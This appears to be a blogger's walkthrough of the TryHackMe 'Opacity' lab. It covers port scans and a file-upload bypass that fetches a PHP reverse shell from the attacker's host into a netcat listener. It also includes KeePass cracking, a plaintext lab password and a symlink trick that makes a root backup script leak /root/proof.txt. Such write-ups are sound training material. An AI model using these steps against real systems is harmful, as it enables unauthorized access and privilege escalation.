This page looks best with JavaScript enabled

TryHackMe - Opacity

 ·  ☕ 6 min read  ·  ✍️ azadin

Opacity

Opacity is a Boot2Root made for pentesters and cybersecurity enthusiasts..

TitleOpacity
DescriptionOpacity is a Boot2Root made for pentesters and cybersecurity enthusiasts.
Points60
DifficultyEasy
Makermindsflee

Summary

Opacity: in this machine we bypass file upload restrictions, to get ourselves a shell as a low-privilege user, we find a keepass database which we crack the password for, we find credentials and ssh as that user, the root journey, is about abusing the backup scripts written in php by adding a symlink that allow us to backup the proof.txt flag.


Enumeration

waiting for the nmap scan to finish, the smb port is open, but nothing useful:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(azadin㉿kali)-[~/tryhackme]
└─$ smbmap -H 10.10.58.141     

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...                                                                                                 [|] Checking for open ports...                                                                                                 [/] Checking for open ports...                                                                                                 [-] Checking for open ports...                                                                                                 [\] Checking for open ports...                                                                                                 [|] Checking for open ports...                                                                                                 [*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.58.141:445        Name: 10.10.58.141              Status: NULL Session
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (ip-10-10-58-141 server (Samba, Ubuntu))
[*] Closed 1 connections                                                                                                     

and the nmap scan :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(azadin㉿kali)-[~/tryhackme]
└─$ nmap -p$ports -sC -sV -Pn -n 10.10.58.141
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 16:02 UTC
Nmap scan report for 10.10.58.141
Host is up (0.10s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c4:45:ac:1f:62:a8:12:03:29:ae:e6:55:9a:67:0d:62 (RSA)
|   256 f4:9e:a0:55:58:cd:bf:47:0a:c6:8b:5f:4c:25:c4:70 (ECDSA)
|_  256 8f:0c:28:e6:74:9e:30:ae:75:c1:3a:33:ca:54:af:32 (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
| smb2-time: 
|   date: 2025-07-04T16:02:46
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: IP-10-10-58-141, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds

okay, let’s focus on the web application running since we had no luck with the others, using gobuster we discovered the /cloud endpoit, in which we can upload images.

but who are we ? HACCCCKERS! so of course we’ll try to do some shananigans and see if we can upload a php file, I used the famous pentest monkey php revshell, customized it for my own case, and now we gotta bypass the check.

FootHold

we start the python server in the directory in which we have our php file :

1
python3 -m php.server 8000

and upload it to the application ( of course after starting a nc listener on the port we chose )

1
url=http://<your-Ip>:8000/shell.php

and we get a shell us www-data.
poking around we find :

1
-rwxrwxr-x 1 sysadmin sysadmin 1566 Jul  8  2022 /opt/dataset.kdbx                                                             

I got this to my machien and cracked it, either use keepass2john or another keep bruteforcer.

User Flag:

Cracking the database’s password, we access to it, and we find the credentials of sysadmin!
we just need to ssh as sysadmin at this point :
sysadmin:Cl0udP4ss40p4city#8700

Root Flag

for the root flag, we poke around again as sysadmin, and we find an unusual directory named scripts in his home directory.

1
2
3
4
5
6
sysadmin@ip-10-10-58-141:/tmp/root$ ls -als /home/sysadmin/scripts/
total 16
4 drwxr-xr-x 3 root     root     4096 Jul  8  2022 .
4 drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 ..
4 drwxr-xr-x 2 sysadmin root     4096 Jul  4 17:28 lib
4 -rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php

notice that we don’t have write access to the scripts directory, but we have for the lib.
script.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);
    }
}
?>

this is script.php which is responsible for doing the backup and it imports another file : lib/backup.inc.php
this later :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php


ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');


function zipData($source, $destination) {
        if (extension_loaded('zip')) {
                if (file_exists($source)) {
                        $zip = new ZipArchive();
                        if ($zip->open($destination, ZIPARCHIVE::CREATE)) {
                                $source = realpath($source);
                                if (is_dir($source)) {
                                        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
                                        foreach ($files as $file) {
                                                $file = realpath($file);
                                                if (is_dir($file)) {
                                                        $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                                                } else if (is_file($file)) {
                                                        $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                                                }
                                        }
                                } else if (is_file($source)) {
                                        $zip->addFromString(basename($source), file_get_contents($source));
                                }
                        }
                        return $zip->close();
                }
        }
        return false;
}
?>

as you can see, in the line :

1
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));

it reads the file contents and zips them, so we just have to trick it to maybe read the proof.txt for us, since we have write access in lib, we’ll create a symlink:

1
2
sysadmin@ip-10-10-58-141:~/scripts/lib$ ls -als leak.txt 
0 lrwxrwxrwx 1 sysadmin sysadmin 15 Jul  4 17:28 leak.txt -> /root/proof.txt

wait a bit and navigate to the /var/backups/
the root directory has been backed up ! and we got what we came here for.

Share on

azadin
WRITTEN BY
azadin
Cybersecurity Engineer